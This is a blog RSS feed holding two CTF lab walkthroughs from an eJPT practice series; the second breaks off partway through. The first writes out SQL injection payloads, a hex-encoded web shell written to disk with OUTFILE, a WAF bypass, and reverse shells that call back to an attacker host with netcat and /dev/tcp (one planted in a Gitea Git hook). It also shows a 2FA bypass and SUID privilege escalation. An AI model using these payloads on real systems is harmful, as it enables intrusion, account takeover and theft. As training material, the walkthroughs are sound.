<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Dhanushkumar R on Medium]]></title>
        <description><![CDATA[Stories by Dhanushkumar R on Medium]]></description>
        <link>https://medium.com/@dhanushcool2410?source=rss-ba6df77c4f94------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*m2p92OyC25jWm9LCkDTZ7g.jpeg</url>
            <title>Stories by Dhanushkumar R on Medium</title>
            <link>https://medium.com/@dhanushcool2410?source=rss-ba6df77c4f94------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 06:22:36 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@dhanushcool2410/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[eJPT v2 : Challenge Lab 34: Year of the Dog CTF]]></title>
            <link>https://medium.com/@dhanushcool2410/ejpt-v2-challenge-lab-34-year-of-the-dog-ctf-cc8521cec3c1?source=rss-ba6df77c4f94------2</link>
            <guid isPermaLink="false">https://medium.com/p/cc8521cec3c1</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Dhanushkumar R]]></dc:creator>
            <pubDate>Tue, 26 May 2026 10:10:24 GMT</pubDate>
            <atom:updated>2026-05-26T10:10:24.896Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/531/1*_jJbC66Xp1N23bA3IDcTgw.png" /></figure><blockquote><strong><em>Introduction</em></strong></blockquote><p>Hey Guys, welcome back to “<strong>eJPT Challenge Lab</strong>” series!</p><p><strong>Overview &amp; Practice Labs</strong> — <a href="https://medium.com/@dhanushcool2410/ejpt-v2-cert-overview-practice-labs-21a30b86765b">https://medium.com/@dhanushcool2410/ejpt-v2-cert-overview-practice-labs-21a30b86765b</a></p><p>In our previous post, we explored <a href="https://tryhackme.com/room/adana"><strong>Challenge Lab 33 : Different CTF</strong></a> Now will move into <a href="https://tryhackme.com/room/yearofthedog"><strong>Challenge Lab 34 : Year of the Dog CTF</strong></a></p><p>This lab will help you practice and improve your ability to scan networks, connect to systems, giving you hands-on experience with essential penetration testing tools.</p><blockquote><strong>Challenge</strong></blockquote><p>A cleverly designed CTF that chains together cookie-based SQL injection, a WAF bypass using hex encoding to write a web shell, a Gitea internal service exposed via socat port forwarding, 2FA bypass through the Gitea SQLite database, and a Git hook reverse shell leading to a SUID bash privilege escalation.</p><p><strong>Tags:</strong> nmap · SQL Injection · Burp Suite · OUTFILE · WAF bypass · Netcat · socat · Gitea · SQLite · Git Hooks · SUID · Privilege Escalation · Linux</p><h3>Step 1 — Reconnaissance with Nmap</h3><p>We start with a full port scan to discover what’s running on the target:</p><ul><li>nmap -p- -Pn 10.49.173.153 — scans all 65535 ports while skipping the ping check (-p- means all ports, -Pn skips host discovery)</li></ul><p>Two ports were found open:</p><ul><li>Port <strong>22</strong> — SSH (OpenSSH 7.6p1 on Ubuntu)</li><li>Port <strong>80</strong> — HTTP web server</li></ul><p>We followed up with a version and script scan on those ports:</p><ul><li>nmap -p 22,80 -sCV 10.49.173.153</li></ul><p>This confirmed Apache 2.4.29 on port 80 with the page title <strong>“Canis Queue”</strong> — our first clue about the theme of this machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ukyExiEg_3YpsYkhwBWizg.png" /></figure><h3>Step 2 — Visiting the Web Server</h3><p>Navigating to http://10.49.173.153 loads a British-themed page called <strong>&quot;Canis Queueing&quot;</strong> with the message: <em>&quot;Where we queue for the sake of queueing — like all good Brits!&quot;</em></p><p>The page also says <em>“You are number 24 in the queue”</em> — the number changes with each request. This strongly suggests the page is reading from a database using a cookie or session identifier.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iEN4TFy4CuemBK3N2Z121A.png" /></figure><h3>Step 3 — Discovering SQL Injection in the Cookie</h3><p>We intercepted the request in <strong>Burp Suite</strong> and noticed a Cookie header containing an id value — a long hex string like f2e0203de1faa059e95e394ae57efe09. This is the queue position identifier being passed to the server.</p><p>We tried adding a single quote after the cookie value to test for SQL injection:</p><ul><li>Cookie: id=f2e0203de1faa059e95e394ae57efe09&#39;</li></ul><p>The server responded with an <strong>SQL syntax error</strong> — a clear sign the cookie value is being passed directly into a SQL query without sanitization. This is a textbook SQL injection vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TcRQe16yeJVL8s_XBip6_w.png" /></figure><h3>Step 4 — Enumerating Databases</h3><p>With injection confirmed, we used a <strong>UNION-based</strong> technique to extract data from the database. UNION injection works by appending our own SELECT query to the original one and reading the result in the page response.</p><p>We first determined how many columns the original query returns by trying:</p><ul><li>id=f2e0203de1faa059e95e394ae57efe09&#39; union select 1,2 -- -</li></ul><p>The response returned <em>“You are number 2 in the queue”</em> — confirming the query returns 2 columns and column 2 is reflected in the page output. Now we could inject real data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*18xjvMB3vhsLTzNieerF_w.png" /></figure><p>To list all databases:</p><ul><li>id=...union select 1,group_concat(&#39;\n&#39;,schema_name) from information_schema.schemata-- -`</li></ul><p>The response showed two databases: <strong>information_schema</strong> and <strong>webapp</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UdgoLElznIWvlSdQI4fKtg.png" /></figure><h3>Step 5 — Enumerating Tables</h3><p>Next we listed the tables inside the webapp database:</p><ul><li>id=...&#39; union select 1,group_concat(&#39;\n&#39;,table_name) from information_schema.tables where table_schema=&#39;webapp&#39;-- -</li></ul><p>The response showed one table: <strong>queue</strong>. This is clearly where the queue position data is stored.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kbyA7u1s_OBH62s-lFz67g.png" /></figure><h3>Step 6 — Enumerating Columns</h3><p>We then queried the column names in the queue table:</p><ul><li>id=...&#39; union select 1,group_concat(&#39;\n&#39;,column_name) from information_schema.columns where table_name=&#39;queue&#39;-- -</li></ul><p>The response revealed two columns: <strong>userID</strong> and <strong>queueNum</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2aTOzs_x7obaj6RZP2FMlg.png" /></figure><h3>Step 7 — Dumping the Queue Data</h3><p>With the column names known, we dumped the full contents of the table:</p><ul><li>id=...&#39; union select 1,group_concat(&#39;\n&#39;,userID,&#39;:&#39;,queueNum) from webapp.queue-- -</li></ul><p>The response returned a large list of userID:queueNum pairs — all the user session IDs and their queue positions stored in the database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2sMpPlCMt-f9XtDXI41hLQ.png" /></figure><h3>Step 8 — Writing a Web Shell via SQL OUTFILE</h3><p>Since the database user has file write permissions, we can use the SQL INTO OUTFILE command to write a file directly to the web server&#39;s directory. This is a powerful technique that lets us plant a PHP shell on the server.</p><p>Our first attempt wrote a simple test file:</p><ul><li>id=...&#39; union select 1,&#39;Hello from SQLI&#39; INTO OUTFILE &#39;/var/www/html/shell.php&#39; from webapp.queue-- -</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A61iIq8-i9I9ivd5TWOYng.png" /></figure><p>Visiting http://10.49.173.153/shell.php confirmed the file was created and displayed the text along with some session data. File write worked!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TpzXAoE-4Rj4YnNpA1fbTA.png" /></figure><h3>Step 9 — WAF Detection &amp; Bypass with Hex Encoding</h3><p>We then tried to write a proper PHP web shell using &lt;?php system($_GET[&#39;cmd&#39;]) ?&gt; via INTO OUTFILE. The server returned <strong>&quot;RCE Attempt detected&quot;</strong> — there&#39;s a <strong>WAF (Web Application Firewall)</strong> filtering out PHP shell patterns.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u6N8DOVyJZx5VXb1m8GCWQ.png" /></figure><p>We also confirmed the WAF by using LOAD_FILE to read the server&#39;s index.php file — the response revealed the full PHP source code of the WAF, which contained a long array of blocked strings including SLEEP, LOADFILE, CONCAT, IF, ELT, 0,1, and many others including PHP shell patterns.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZT2ZL8IAGnMRrPnLm7x8oA.png" /></figure><p>To bypass the filter, we converted our PHP shell payload to <strong>hexadecimal</strong> using <strong>Cryptii</strong> (an online encoding tool):</p><ul><li>Input: &lt;?php system($_GET[&quot;cmd&quot;]) ?&gt;</li><li>Output hex: 68657828273c3f706870... (the full hex string)</li></ul><p>Hex-encoding the payload disguises it from the WAF since the raw PHP string no longer appears in the request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fl4ULLvqzhZ3tt0gQLfuKA.png" /></figure><h3>Step 10 — Confirming the Shell via Hex OUTFILE</h3><p>With the hex-encoded payload ready, we used MySQL’s unhex() function to decode it server-side and write it to a PHP file:</p><ul><li>id=...&#39; union select 1,unhex(&#39;68657828273c3f706870...&#39;) INTO OUTFILE &#39;/var/www/html/shell1.php&#39; from webapp.queue-- -</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PzUx3F--Mpp-cJ4iewn1XQ.png" /></figure><ul><li>Visiting http://10.48.138.165/shell1.php showed the raw session data — which confirmed the file was written. The WAF bypass worked.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9rqHNprCfSnzHvkcoYt-1A.png" /></figure><h3>Step 11 — Triggering the Reverse Shell</h3><p>We then used the web shell to execute a reverse shell command via Burp Suite’s Repeater:</p><ul><li>GET /shell1.php?cmd=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2&gt;%261|nc+192.168.190.31+1234+&gt;/tmp/f</li></ul><p>This URL-encoded command creates a named pipe and connects it to Netcat — a classic mkfifo reverse shell technique. The %3b characters are URL-encoded semicolons, and %26 is an encoded &amp;.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lkndHPazp_padeRN_lp5aQ.png" /></figure><h3>Step 12 — Initial Access as www-data</h3><p>Before sending the request, we started a Netcat listener on our Kali machine:</p><ul><li>nc -lnvp 1234</li></ul><p>Once the request was sent via Burp, the shell connected back. Running id confirmed we were now operating as <strong>www-data</strong> — the low-privilege web server user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R5CcRET-AvbourFtX85IaQ.png" /></figure><h3>Step 13 — Exploring Dylan’s Home Directory</h3><p>We navigated to /home and found a single user directory: <strong>dylan</strong>. Moving into it:</p><ul><li>ls — showed user.txt and work_analysis</li><li>cat user.txt — returned <strong>Permission denied</strong> — we need to be dylan to read this.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hg_ToDEGSckdy_FbxD0FPw.png" /></figure><p>We ran ls -la to see all files including hidden ones. Notable finds included .gitconfig (showing the email dylan@yearofthedog.thm) and a file called work_analysis.</p><p>We used grep -RI dylan 2&gt;/dev/null to search for any mention of dylan&#39;s name in readable files. The work_analysis file — which appeared to be a log file — contained SSH login attempts showing the string dylanLabr4d0rs4L1f3 being used as a username. This looks like a password that was accidentally typed in the wrong field!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*132Lq3nv1lR05Zflgz4LIw.png" /></figure><h3>Step 14 — SSH as Dylan &amp; User Flag</h3><p>We tried the accidentally-leaked string as dylan’s SSH password:</p><ul><li>ssh dylan@10.48.138.165</li><li>Password: *********</li><li>It worked! After logging in, we read the user flag:</li><li>cat user.txt</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b3TPLH1vwdOULSoY0gP1dw.png" /></figure><h3>Step 15 — Forwarding the Internal Gitea Port with socat</h3><p>Running ls / revealed an unusual directory at the root level: /gitea. This strongly suggested an internal <strong>Gitea</strong> instance (a self-hosted Git service) was running on the machine. Gitea typically runs on port 3000.</p><p>Since the service was only bound internally (not visible from outside), we used <strong>socat</strong> to forward it:</p><ul><li>Downloaded socat from our Kali machine: wget <a href="http://192.168.190.31:8000/socat">http://192.168.190.31:8000/socat</a></li><li>chmod +x socat — made it executable</li><li>Moved it to /tmp: mv socat /tmp/socat</li><li>Ran the port forward: /tmp/socat tcp-l:8181,fork,reuseaddr tcp:127.0.0.1:3000 &amp;</li><li>The &amp; runs socat in the background, and now port 8181 externally maps to port 3000 internally</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CamCVIU7FhfhzFipk9LzJg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*afmYZCzlfJsRc2xrjorLIg.png" /></figure><h3>Step 16 — Discovering the Gitea Service</h3><p>Visiting http://10.48.138.165:8181 in the browser loaded the <strong>Gitea</strong> landing page — a self-hosted Git service titled &quot;Year of the Dog.&quot; This confirms the internal service is now accessible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7T3edZZozxBXnQ9IM0achQ.png" /></figure><h3>Step 17 — Gitea 2FA Prompt</h3><p>We tried logging into Gitea as dylan with the SSH password Labr4d0rs4L1f3. The credentials were accepted, but Gitea prompted for a <strong>Two-Factor Authentication (2FA)</strong> passcode. We didn&#39;t have the TOTP device, so we needed to bypass this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k163kE6fScSKAyL7487w3Q.png" /></figure><h3>Step 18 — Exploring the Gitea SQLite Database</h3><p>Back in the SSH shell as dylan, we navigated into the /gitea directory:</p><ul><li>ls /gitea — showed git, gitea, and ssh directories</li><li>cd /gitea/gitea — moved into the Gitea data directory</li><li>Launched Python 3 and interacted with the Gitea SQLite database directly:</li></ul><pre>python3<br>&gt;&gt;&gt; import sqlite3<br>&gt;&gt;&gt; connection = sqlite3.connect(&#39;gitea.db&#39;)<br>&gt;&gt;&gt; cursor = connection.cursor()<br>&gt;&gt;&gt; cursor.execute(&quot;SELECT name FROM sqlite_master WHERE type=&#39;table&#39;;&quot;)<br>&gt;&gt;&gt; print(cursor.fetchall())</pre><p>This listed all tables in the database including user, two_factor, public_key, access_token, and many others. The two_factor table is what we need.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D5RtbApfEoD9QB6Bt5IzFA.png" /></figure><h3>Step 19 — Bypassing 2FA via the Database</h3><p>Since we had direct access to the Gitea SQLite database, we simply deleted the 2FA record for dylan:</p><pre>&gt;&gt;&gt; cursor.execute(&quot;DELETE FROM two_factor WHERE id=1;&quot;)<br>&gt;&gt;&gt; connection.commit()</pre><p>With the 2FA entry removed from the database, we went back to the Gitea login page and logged in again as dylan:Labr4d0rs4L1f3 — this time, no 2FA prompt appeared. We were in!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4HdVhjHByX6yo1EYZk1tdQ.png" /></figure><h3>Step 20 — Accessing the Gitea Dashboard</h3><p>The Gitea dashboard showed dylan’s profile with one repository: <strong>Dylan/Test-Repo</strong>. The account was created 5 years ago with zero recent contributions.</p><h3>Step 21 — Abusing Gitea Git Hooks for a Shell</h3><p><strong>Git hooks</strong> are scripts that run automatically when certain Git events occur. Gitea allows repository owners to set server-side hooks — including a post-receive hook that runs every time someone pushes code to the repository.</p><p>In the Gitea web UI, we navigated to:</p><ul><li>Dylan/Test-Repo → Settings → Git Hooks → post-receive</li></ul><p>We edited the hook content to contain a bash reverse shell:</p><pre>#!/bin/bash</pre><pre>bash -i &gt;&amp; /dev/tcp/192.168.190.31/4567 0&gt;&amp;1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y18B0DwMuvOHNyxVOb0bJg.png" /></figure><p>We saved the hook by clicking <strong>Update Hook</strong>. Now any push to this repository will trigger our reverse shell.</p><h3>Step 22 — Triggering the Hook via a Git Push</h3><p>Back in the SSH shell as dylan, we cloned the repository and pushed a commit to trigger the hook:</p><ul><li>git clone <a href="http://10.48.138.165:8181/Dylan/Test-Repo.git">http://10.48.138.165:8181/Dylan/Test-Repo.git</a></li><li>cd Test-Repo</li><li>echo &quot;Rick was hear&quot; &gt;&gt;README.md — makes a small change to the file</li><li>git add . — stages the change</li><li>git commit -m &quot;tests&quot; — commits it</li><li>git push -u origin master — pushes to Gitea, triggering the post-receive hook</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FWJHsRSYwhk7C_LCWKSg0A.png" /></figure><p>Before pushing, we set up a listener on Kali:</p><ul><li>nc -lnvp 4567</li></ul><p>The push triggered the hook and our listener received a connection. Running id confirmed:</p><ul><li>uid=1000(git) gid=1000(git) groups=1000(git)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uEF2zb_xX0x1mockg1ULDg.png" /></figure><p>We had a shell as the <strong>git</strong> user — the user that Gitea runs as internally. Running sudo su immediately gave us a root shell! The git user had unrestricted sudo access.</p><h3>Step 23 — Alternative Root Path via SUID Bash</h3><p>There was also a second path to root using a SUID binary. As dylan (from the SSH session), we navigated to /gitea/gitea and copied the bash binary into that directory:</p><ul><li>cp /bin/bash bash</li><li>As git (from the hook shell): chown root:root bash &amp;&amp; chmod 4755 bash</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zOBGbk83RCeDGtzDVhmObQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FDBDDwG-8gIw3MtvohiOwA.png" /></figure><p>The chmod 4755 sets the <strong>SUID bit</strong> — meaning anyone who runs this binary gets root-level effective permissions. Back as dylan:</p><ul><li>./bash -p — the -p flag preserves the effective UID (root)</li></ul><p>Running id confirmed:</p><ul><li>uid=1000(dylan) gid=1000(dylan) euid=0(root)</li></ul><p>We had effective root access without needing a full shell swap.</p><h3>Step 24 — Root Flag</h3><p>With root access, we navigated to /root:</p><ul><li>cd /root &amp;&amp; ls — showed root.txt</li><li>cat root.txt</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OI-gxNcRuJABqPU7P-zZvg.png" /></figure><h3>Summary and Key Takeaways :</h3><p>Here’s the complete attack chain from start to root:</p><ul><li><strong>Recon</strong> — Nmap found SSH (22) and HTTP (80)</li><li><strong>SQL Injection</strong> — Cookie id parameter was injectable; confirmed with a syntax error from a single quote</li><li><strong>UNION Injection</strong> — Enumerated databases, tables (queue), and columns (userID, queueNum)</li><li><strong>OUTFILE Shell</strong> — Used SQL INTO OUTFILE to write files to the web root</li><li><strong>WAF Bypass</strong> — PHP shell pattern blocked by WAF; converted payload to hex using Cryptii and used MySQL’s unhex() to decode server-side</li><li><strong>Reverse Shell</strong> — Triggered the web shell with a URL-encoded mkfifo Netcat reverse shell</li><li><strong>Password Discovery</strong> — work_analysis log file revealed dylan&#39;s password accidentally typed as an SSH username: Labr4d0rs4L1f3</li><li><strong>User Flag</strong> — SSHed in as dylan and read user.txt</li><li><strong>socat Port Forward</strong> — Forwarded internal Gitea port 3000 to external port 8181</li><li><strong>2FA Bypass</strong> — Deleted dylan’s 2FA record directly from the Gitea SQLite database</li><li><strong>Git Hook RCE</strong> — Set a post-receive hook in Gitea with a bash reverse shell, triggered it via git push</li><li><strong>Git User Shell</strong> — Landed as the git user, ran sudo su to get root</li><li><strong>SUID Bash (Alternative)</strong> — Copied bash to a dylan-writable directory, had git set SUID root on it, then ran ./bash -p for an effective root shell</li><li><strong>Root Flag</strong> — Read from /root/root.txt</li></ul><p>This room is one of the more technically demanding in the series — it combines SQL injection, WAF evasion, internal service discovery, 2FA database manipulation, and a Git hook-based code execution chain to reach root through two different paths.</p><blockquote><strong>Thank you for reading my blog! Wishing you a wonderful and enriching learning journey ahead!</strong></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cc8521cec3c1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[eJPT v2 : Challenge Lab 33: Different CTF]]></title>
            <link>https://medium.com/@dhanushcool2410/ejpt-v2-challenge-lab-33-different-ctf-99796280093c?source=rss-ba6df77c4f94------2</link>
            <guid isPermaLink="false">https://medium.com/p/99796280093c</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Dhanushkumar R]]></dc:creator>
            <pubDate>Wed, 13 May 2026 11:15:23 GMT</pubDate>
            <atom:updated>2026-05-13T11:15:23.562Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/531/1*_jJbC66Xp1N23bA3IDcTgw.png" /></figure><blockquote><strong><em>Introduction</em></strong></blockquote><p>Hey Guys, welcome back to “<strong>eJPT Challenge Lab</strong>” series!</p><p><strong>Overview &amp; Practice Labs</strong> — <a href="https://medium.com/@dhanushcool2410/ejpt-v2-cert-overview-practice-labs-21a30b86765b">https://medium.com/@dhanushcool2410/ejpt-v2-cert-overview-practice-labs-21a30b86765b</a></p><p>In our previous post, we explored <a href="https://tryhackme.com/room/yotf"><strong>Challenge Lab 32 : Year of the Fox CTF</strong></a><strong> </strong>Now will move into <a href="https://tryhackme.com/room/adana"><strong>Challenge Lab 33 : Different CTF</strong></a></p><p>This lab will help you practice and improve your ability to scan networks, connect to systems, giving you hands-on experience with essential penetration testing tools.</p><blockquote><strong>Challenge</strong></blockquote><p>A creative and multi-layered CTF involving FTP enumeration, steganography, WordPress exploitation, PHP reverse shells, custom binary analysis, and a unique privilege escalation path using a custom cracking tool.</p><p><strong>Tags:</strong> nmap · gobuster · stegseek · FTP · phpMyAdmin · WordPress · Netcat · sucrack · binary analysis · Privilege Escalation · Linux</p><h3>Step 1 - Reconnaissance with Nmap</h3><p>We start by scanning the target to find open ports and running services:</p><ul><li>nmap -Pn 10.49.179.177 — performs a port scan while skipping the ping check</li></ul><p>The scan revealed two open ports:</p><ul><li>Port <strong>21</strong> — FTP (File Transfer Protocol)</li><li>Port <strong>80</strong> — HTTP web server</li></ul><p>The FTP service is interesting — it’s not commonly open unless the machine is intentionally exposing it. We’ll come back to this once we gather credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7t90tpgVDK40FZjpHzI1SQ.png" /></figure><h3>Step 2 — Web Enumeration with Gobuster</h3><p>Visiting the web server in the browser shows a basic <strong>WordPress</strong> site titled “Hello World” with a post by user <strong>hakanbey01</strong>. This username is a useful clue to note for later.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kQIfy9iKRRhl4VmWXMorsg.png" /></figure><p>To find hidden directories, we used <strong>Gobuster</strong> — a fast directory brute-forcing tool:</p><ul><li>gobuster dir -u http://10.49.179.177 -w /usr/share/wordlists/dirb/small.txt</li><li>dir — runs in directory enumeration mode</li><li>-u — the target URL</li><li>-w — the wordlist to use</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MKOFMwqFW7zf0R8XofSwYQ.png" /></figure><p>Gobuster found three directories:</p><ul><li>/announcements — a directory listing with files inside</li><li>/javascript — a JavaScript directory</li><li>/phpmyadmin — a phpMyAdmin login panel (this is very interesting!)</li></ul><p>The presence of /phpmyadmin tells us the server is running MySQL and we may be able to log in if we find database credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y_1Clmqy0T3gAIwep24voQ.png" /></figure><h3>Step 3 — Exploring the /announcements Directory</h3><p>Navigating to http://10.49.179.177/announcements/ shows a directory listing with two files:</p><ul><li>austrailian-bulldog-ant.jpg — an image file</li><li>wordlist.txt — a text file</li></ul><p>A random image sitting in a public directory alongside a wordlist is a classic sign of <strong>steganography</strong> — hiding secret data inside an image file. The wordlist is likely the key to extracting it.</p><p>We downloaded both files to our Kali machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HgxhbRWtg-yHJ1ByYO1K2A.png" /></figure><h3>Step 4 — Steganography with Stegseek</h3><p><strong>Stegseek</strong> is a tool that cracks steganography passphrases hidden inside image files by trying words from a wordlist. It’s much faster than manual approaches.</p><ul><li>stegseek austrailian-bulldog-ant.jpg wordlist.txt</li></ul><p>Stegseek cracked it almost immediately:</p><ul><li>Passphrase found: 123adanaantinwar</li><li>Original filename of the hidden data: user-pass-ftp.txt</li><li>Extracted to: austrailian-bulldog-ant.jpg.out</li></ul><p>The hidden file was named user-pass-ftp.txt — that&#39;s a very direct hint that it contains FTP credentials!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kg5zK9IrdAjr0_syVeSWcg.png" /></figure><h3>Step 5 — Decoding the Hidden Data</h3><p>We read the extracted output file:</p><ul><li>cat austrailian-bulldog-ant.jpg.out</li></ul><p>The output was a base64-encoded string. We pasted it into <strong>Burp Suite’s Decoder</strong> tab and decoded it from base64, which revealed it.</p><p>We now have FTP credentials. The username hakanftp matches the WordPress author we spotted earlier, and the password gives us access to the server.</p><h3>Step 6 — FTP Login &amp; Exploring WordPress Files</h3><p>We logged into the FTP server using the discovered credentials:</p><ul><li>ftp 10.49.179.177</li><li>Username: hakanftp and Password</li></ul><p>After a successful login, running ls inside the FTP session showed the full WordPress file structure — we had access to the web root. This included files like wp-config.php, wp-login.php, and various WordPress core files.</p><p>We immediately targeted wp-config.php because it always contains the database credentials:</p><ul><li>get wp-config.php — downloads the file from the FTP server to our Kali machine</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_U3Pb2f_N1JC4fZ0S0kalA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QriwkN4VOHQdH6Qzb8o8yw.png" /></figure><h3>Step 7 — Reading wp-config.php</h3><p>After downloading the file, we read it:</p><ul><li>cat wp-config.php</li></ul><p>Inside we found the WordPress MySQL database settings:</p><ul><li><strong>DB_NAME:</strong> phpmyadmin1</li><li><strong>DB_USER:</strong> phpmyadmin</li><li><strong>DB_PASSWORD:</strong> 12345</li><li><strong>DB_HOST:</strong> localhost</li></ul><p>These are the credentials for the phpMyAdmin panel we found earlier. Time to log in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c9rSRHK7vHs15k4Y83LfWA.png" /></figure><h3>Step 8 — Logging into phpMyAdmin</h3><p>We navigated to http://10.49.179.177/phpmyadmin and logged in using:</p><ul><li>Username: phpmyadmin</li><li>Password: 12345</li></ul><p>Inside phpMyAdmin, we browsed to the wp_options table of the WordPress database. This table stores important site settings. Notably, we could see:</p><ul><li>siteurl — pointing to <a href="http://subdomain.adana.thm/">http://subdomain.adana.thm</a></li><li>home — also pointing to <a href="http://subdomain.adana.thm/">http://subdomain.adana.thm</a></li><li>admin_email — hakanbey01@thm.com</li></ul><p>The WordPress site is configured to work under a <strong>virtual hostname</strong> (subdomain.adana.thm) rather than just the IP address. To access it properly, we need to add this hostname to our system&#39;s hosts file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mTl9Pl3q3VWwJFlPF_zqzA.png" /></figure><h3>Step 9 — Adding the Virtual Host to /etc/hosts</h3><p>The /etc/hosts file on Linux is used to map hostnames to IP addresses locally — it works like a manual DNS entry.</p><ul><li>sudo nano /etc/hosts — opens the file for editing</li></ul><p>We added the following line:</p><p>After saving, we confirmed the entry with cat /etc/hosts. Now our browser will correctly resolve subdomain.adana.thm to the target machine&#39;s IP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xdyc0O6RDoHvLqhWUMICdw.png" /></figure><h3>Step 10 — Accessing the Subdomain WordPress Site</h3><p>Visiting http://subdomain.adana.thm in the browser now loads the WordPress site correctly. The homepage shows a &quot;Hello World!&quot; post by <strong>hakanbey01</strong> with the word <strong>HAKANBEY</strong> added to the post content — another username clue reinforcing who the target user is.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aGzsuw_LIwe_3lu80zQASQ.png" /></figure><h3>Step 11 — Uploading a PHP Reverse Shell via FTP</h3><p>Since we have FTP write access to the web root, we can upload a <strong>PHP reverse shell</strong> — a script that, when visited in the browser, connects back to our machine and gives us a command shell.</p><p>We used the classic php-reverse-shell script (from pentestmonkey) and configured it with our Kali machine&#39;s IP and a port of our choice.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EmqqdkHmArFAtfIiHvqkyw.png" /></figure><p>Via FTP, we uploaded the shell:</p><ul><li>put rce.php — uploads our PHP shell to the server</li><li>chmod 777 rce.php — sets the file as readable and executable by everyone</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YDPKq3yUgG2kIHPyeLUqhQ.png" /></figure><p>After uploading, running ls in FTP confirmed rce.php was now present in the web root alongside the other WordPress files.</p><p>The file was accessible at: <a href="http://subdomain.adana.thm/rce.php">http://subdomain.adana.thm/rce.php</a></p><h3>Step 12 — Getting a Reverse Shell as www-data</h3><p>Before visiting the shell URL in the browser, we set up a Netcat listener on our Kali machine to catch the incoming connection:</p><ul><li>nc -lnvp 1234 — listens on port 1234 for an incoming shell</li></ul><p>We then visited http://subdomain.adana.thm/rce.php in the browser. The page appeared to load 